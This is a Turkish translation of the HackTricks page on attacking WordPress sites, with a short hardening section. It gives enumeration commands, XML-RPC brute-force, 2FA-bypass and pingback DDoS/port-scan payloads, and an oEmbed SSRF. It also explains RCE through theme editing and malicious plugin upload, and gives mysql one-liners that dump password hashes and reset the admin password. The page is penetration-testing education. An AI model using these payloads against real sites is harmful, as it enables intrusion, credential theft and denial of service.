21 KiB
Wordpress
Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na göz atın (https://github.com/sponsors/carlospolop)!
- Resmi PEASS & HackTricks ürünlerini edinin
- PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @carlospolopm'da takip edin.
- Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Temel Bilgiler
Yüklenen dosyalar şuraya gider: http://10.10.10.10/wp-content/uploads/2018/08/a.txt
Temalar dosyaları /wp-content/themes/ içinde bulunabilir, bu yüzden temanın php'sini değiştirirseniz RCE elde etmek için muhtemelen bu yolu kullanacaksınız. Örneğin: twentytwelve temasını kullanarak 404.php dosyasına erişebilirsiniz: /wp-content/themes/twentytwelve/404.php
Başka faydalı bir url şu olabilir: /wp-content/themes/default/404.php
wp-config.php dosyasında veritabanının kök şifresini bulabilirsiniz.
Kontrol edilmesi gereken varsayılan giriş yolları: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Ana WordPress Dosyaları
index.php
license.txt
WordPress'in yüklü olduğu sürüm gibi yararlı bilgiler içerir.wp-activate.php
yeni bir WordPress sitesi kurulurken e-posta etkinleştirme işlemi için kullanılır.- Giriş klasörleri (gizlemek için yeniden adlandırılmış olabilir):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
, WordPress'in bir özelliğini temsil eden bir dosyadır ve HTTP'nin taşıma mekanizması olarak ve XML'in kodlama mekanizması olarak kullanılmasına olanak tanır. Bu tür iletişim, WordPress REST API tarafından değiştirilmiştir.wp-content
klasörü eklentilerin ve temaların depolandığı ana dizindir.wp-content/uploads/
Platforma yüklenen dosyaların depolandığı dizindir.wp-includes/
Bu, sertifikalar, yazı tipleri, JavaScript dosyaları ve widget'lar gibi çekirdek dosyaların depolandığı dizindir.wp-sitemap.xml
Wordpress'in 5.5 ve üstü sürümlerinde, Wordpress tüm genel gönderileri ve genel olarak sorgulanabilir gönderi türlerini ve taksonomileri içeren bir site haritası XML dosyası oluşturur.
Saldırı sonrası işlemler
wp-config.php
dosyası, WordPress'in veritabanına bağlanmak için gereken bilgileri içerir; veritabanı adı, veritabanı ana bilgisayarı, kullanıcı adı ve şifre, kimlik doğrulama anahtarları ve tuzlar ve veritabanı tablo öneki. Bu yapılandırma dosyası ayrıca sorun gidermede kullanışlı olabilecek DEBUG modunu etkinleştirmek için de kullanılabilir.
Kullanıcı İzinleri
- Yönetici
- Editör: Kendi ve diğerlerinin gönderilerini yayımlar ve yönetir
- Yazar: Kendi gönderilerini yayımlar ve yönetir
- Katılımcı: Gönderilerini yazabilir ve yönetebilir ancak yayımlayamaz
- Abone: Gönderileri göz atabilir ve profilini düzenleyebilir
Pasif Numaralandırma
WordPress sürümünü alın
/license.txt
veya /readme.html
dosyalarını bulup bulamadığınızı kontrol edin
Sayfanın kaynak kodu içinde (örnek: https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- CSS bağlantı dosyaları
- JavaScript dosyaları
Eklentileri Al
{% code overflow="wrap" %}
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Temaları Al
{% code overflow="wrap" %}
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Genel olarak sürümleri çıkart
{% endcode %}
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
{% endcode %}
Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen otomatik iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Aktif numaralandırma
Eklentiler ve Temalar
Muhtemelen tüm Eklentileri ve Temaları bulamayacaksınız. Hepsini keşfetmek için bir listeyi aktif olarak Brute Force etmeniz gerekecek (şansımıza, bu listeleri içeren otomatik araçlar bulunmaktadır).
Kullanıcılar
Kimlik Brute
WordPress sitesinden geçerli kullanıcıları Brute Force yöntemiyle kullanıcı kimliklerini zorlayarak elde edersiniz:
curl -s -I -X GET http://blog.example.com/?author=1
Eğer yanıtlar 200 veya 30X ise, bu demektir ki id geçerlidir. Eğer yanıt 400 ise, o zaman id geçersizdir.
wp-json
Ayrıca kullanıcılar hakkında bilgi almak için sorgulama yapabilirsiniz:
curl http://blog.example.com/wp-json/wp/v2/users
Başka bir /wp-json/
uç noktası, kullanıcılar hakkında bazı bilgileri ortaya çıkarabilir:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Bu uç noktanın yalnızca bir gönderi yapmış olan kullanıcıları ortaya çıkardığını unutmayın. Yalnızca bu özelliğe sahip kullanıcılar hakkında bilgi sağlanacaktır.
Ayrıca /wp-json/wp/v2/pages IP adreslerini sızdırabilir.
Kullanıcı adı girişi numaralandırması
/wp-login.php
'de oturum açarken mesaj, belirtilen kullanıcı adının var olup olmadığına bağlı olarak farklıdır.
XML-RPC
xml-rpc.php
etkinse kimlik bilgileri kaba kuvvet saldırısı gerçekleştirebilir veya diğer kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (Bu işlemi otomatikleştirebilirsiniz buna örnek olarak şunu kullanabilirsiniz).
Etkin olup olmadığını görmek için /xmlrpc.php'ye erişmeyi deneyin ve bu isteği gönderin:
Kontrol
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Kimlik Bilgileri Kaba Kuvvet
wp.getUserBlogs
, wp.getCategories
veya metaWeblog.getUsersBlogs
gibi yöntemler kimlik bilgilerini kaba kuvvet saldırısı için kullanılabilir. Eğer bunlardan herhangi birini bulabilirseniz şunu gönderebilirsiniz:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
200 kodlu yanıt içindeki "Kullanıcı adı veya şifre yanlış" mesajı, kimlik bilgileri geçerli değilse görünmelidir.
Doğru kimlik bilgilerini kullanarak bir dosya yükleyebilirsiniz. Yanıtta yol görünecektir (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Ayrıca, system.multicall
kullanarak aynı istekte birkaç kimlik doğrulama deneyebileceğiniz için kimlik doğrulama bilgilerini kaba kuvvetle daha hızlı bir şekilde deneyebileceğiniz bir daha hızlı bir yol vardır:
2FA'yı Atlatma
Bu yöntem programlar içindir ve insanlar için değil, eski olduğundan dolayı 2FA'yı desteklemez. Dolayısıyla, geçerli kimlik bilgileriniz varsa ancak ana giriş 2FA ile korunuyorsa, xmlrpc.php'yi kullanarak bu kimlik bilgileriyle 2FA'yı atlayarak oturum açabilirsiniz. Tüm konsol üzerinden yapabileceğiniz tüm eylemleri gerçekleştiremeyeceğinizi unutmayın, ancak Ippsec'in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s açıkladığı gibi hala RCE'ye ulaşabilirsiniz.
DDoS veya port taraması
Eğer listede pingback.ping yöntemini bulabilirseniz, Wordpress'in herhangi bir ana makine/bağlantı noktasına keyfi bir istek göndermesini sağlayabilirsiniz.
Bu, binlerce Wordpress sitesinin bir konuma erişmesini istemek için kullanılabilir (bu konumda bir DDoS oluşturulur) veya bunu kullanarak Wordpress'in bazı dahili ağları taranmasını sağlayabilirsiniz (herhangi bir bağlantı noktasını belirtebilirsiniz).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
Eğer bir değeri 0'dan büyük (17) olan bir faultCode alırsanız, bu portun açık olduğu anlamına gelir.
Bu yöntemi DDoS saldırısına neden olmak için nasıl kötüye kullanacağınızı öğrenmek için önceki bölümde system.multicall
kullanımına bir göz atın.
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
Bu dosya genellikle Wordpress sitesinin kök dizini altında bulunur: /wp-cron.php
Bu dosyaya erişildiğinde a "yoğun" MySQL sorgusu gerçekleştirilir, bu nedenle saldırganlar tarafından DoS oluşturmak için kullanılabilir.
Ayrıca, varsayılan olarak, wp-cron.php
her sayfa yüklemede çağrılır (istemci herhangi bir Wordpress sayfasını istediğinde), yüksek trafikli sitelerde sorunlara neden olabilir (DoS).
Wp-Cron'un devre dışı bırakılması ve gereken işlemleri düzenli aralıklarla gerçekleştiren bir gerçek cronjob oluşturulması önerilir (sorunlara neden olmadan).
/wp-json/oembed/1.0/proxy - SSRF
https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ adresine erişmeyi deneyin ve Wordpress sitesi size bir istek yapabilir.
Bu çalışmadığında alınan yanıt:
SSRF
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
Bu araç, methodName: pingback.ping'i kontrol eder ve /wp-json/oembed/1.0/proxy yolunu kontrol eder ve varsa bunları sömürmeye çalışır.
Otomatik Araçlar
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen otomatik iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Biraz üzerine yazarak erişim alın
Bu, gerçek bir saldırıdan ziyade bir meraktır. CTF'de https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man herhangi bir wordpress dosyasından 1 bit çevirebilirdiniz. Bu sayede /var/www/html/wp-includes/user.php
dosyasının 5389
konumunu çevirerek (!
) işlemini devre dışı bırakabilirsiniz.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
Kullanılan temadan bir php dosyasını değiştirme (yönetici kimlik bilgileri gereklidir)
Görünüm → Tema Düzenleyici → 404 Şablonu (sağda)
İçeriği bir php kabuğu için değiştirin:
Bu güncellenmiş sayfaya nasıl erişebileceğinizi internetten arayın. Bu durumda buraya erişmeniz gerekecek: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Kullanabilirsiniz:
use exploit/unix/webapp/wp_admin_shell_upload
Eklenti RCE
PHP eklentisi
Bir eklenti olarak .php dosyaları yüklemek mümkün olabilir.
Örneğin şu şekilde php arka kapınızı oluşturun:
Ardından yeni bir eklenti ekleyin:
Eklentiyi yükleyin ve Şimdi Yükle'ye basın:
Procced'e tıklayın:
Büyük ihtimalle görünüşte hiçbir şey yapmayacak, ancak Medya'ya giderseniz, yüklenen kabuğunuzu göreceksiniz:
Erişin ve ters kabloyu yürütmek için URL'yi göreceksiniz:
Zararlı eklenti yükleme ve etkinleştirme
Bu yöntem, zayıf olduğu bilinen zararlı bir eklentinin yüklenmesini ve bir web kabuğu elde etmek için sömürülmesini içerir. Bu işlem WordPress panosu üzerinden aşağıdaki gibi gerçekleştirilir:
- Eklenti Edinme: Eklenti, Exploit DB gibi bir kaynaktan alınır, örneğin buradan.
- Eklenti Yükleme:
- WordPress panosuna gidin, ardından
Pano > Eklentiler > Eklenti Yükle
'ye gidin. - İndirilen eklentinin zip dosyasını yükleyin.
- Eklenti Etkinleştirme: Eklenti başarılı bir şekilde yüklendikten sonra, panoda etkinleştirilmelidir.
- Sömürü:
- "reflex-gallery" eklentisi yüklü ve etkinleştirildiğinde, zayıf olduğu bilindiği için sömürülebilir.
- Metasploit çerçevesi bu zafiyet için bir sömürü sağlar. Uygun modülü yükleyerek ve belirli komutları yürüterek, bir meterpreter oturumu oluşturulabilir ve siteye yetkisiz erişim sağlanabilir.
- Bu, bir WordPress sitesini sömürmek için birçok yöntemden sadece biri olduğu belirtilmektedir.
İçerik, WordPress panosundaki adımları gösteren görsel yardımları içermektedir. Ancak, bu tür zafiyetlerden yararlanmak yasaldır ve etik değildir, uygun izin olmadan. Bu bilgiler sorumlu bir şekilde ve yalnızca yasal bir bağlamda, örneğin açık izinle yapılan penetrasyon testleri gibi kullanılmalıdır.
Daha detaylı adımlar için kontrol edin: https://www.hackingarticles.in/wordpress-reverse-shell/**
Saldırı Sonrası
Kullanıcı adlarını ve şifreleri çıkarın:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Admin şifresini değiştirin:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
WordPress Koruma
Düzenli Güncellemeler
WordPress'in, eklentilerin ve temaların güncel olduğundan emin olun. Ayrıca otomatik güncellemenin wp-config.php dosyasında etkin olduğunu doğrulayın:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Ayrıca, yalnızca güvenilir WordPress eklentileri ve temaları yükleyin.
Güvenlik Eklentileri
Diğer Tavsiyeler
- Varsayılan admin kullanıcısını kaldırın
- Güçlü şifreler ve 2FA kullanın
- Kullanıcı izinlerini periyodik olarak gözden geçirin
- Kaba kuvvet saldırılarını önlemek için giriş denemesini sınırlayın
wp-admin.php
dosyasını yeniden adlandırın ve yalnızca dahili olarak veya belirli IP adreslerinden erişime izin verin.
Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen otomatik iş akışları oluşturun ve otomatikleştirin.
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARINI kontrol edin!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter 🐦 @carlospolopm takip edin.**
- Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks ve HackTricks Cloud github depolarına katılın.